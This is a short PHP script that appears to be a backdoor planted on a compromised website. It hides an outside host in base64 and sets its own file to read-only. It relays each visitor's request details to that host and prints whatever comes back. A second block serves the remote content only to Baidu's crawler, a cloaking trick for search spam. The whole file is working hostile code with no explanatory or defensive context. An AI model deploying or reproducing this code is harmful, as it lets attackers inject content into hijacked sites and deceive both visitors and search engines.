<?php
set_time_limit(0);
$name = $_SERVER["SCRIPT_FILENAME"];
chmod($name, 0444);
header("Content-Type: text/html;charset=utf-8");
date_default_timezone_set("PRC");
$a = base64_decode("aHR0cDovL21pcC5yYXNnei5jbg==");
$b = base64_decode("aHR0cDovLw==") . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"];
$ua = $_SERVER["HTTP_USER_AGENT"];
$url = $a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&q=" . $_SERVER["QUERY_STRING"];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$c = curl_exec($ch);
curl_close($ch);
echo $c;
?>
<?php
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'baidu')!==false)
{
    echo file_get_contents(base64_decode('aHR0cDovL21pcC5yYXNnei5jbg=='));
}
?>
